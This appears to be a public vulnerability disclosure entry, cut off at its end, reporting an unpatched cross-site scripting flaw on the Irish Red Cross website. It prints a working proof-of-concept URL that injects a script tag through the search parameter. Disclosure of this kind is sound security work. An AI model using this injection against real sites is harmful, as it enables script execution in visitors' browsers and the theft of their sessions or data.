redcross.ie XSS vulnerability

Vulnerable URL: https://www.redcross.ie/search/?searchkeyword=--%3E%3Cscript%3Ealert%28/XSSPOSED/%29%3C%2Fscript%3E%3C!-- Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 487726 Goog...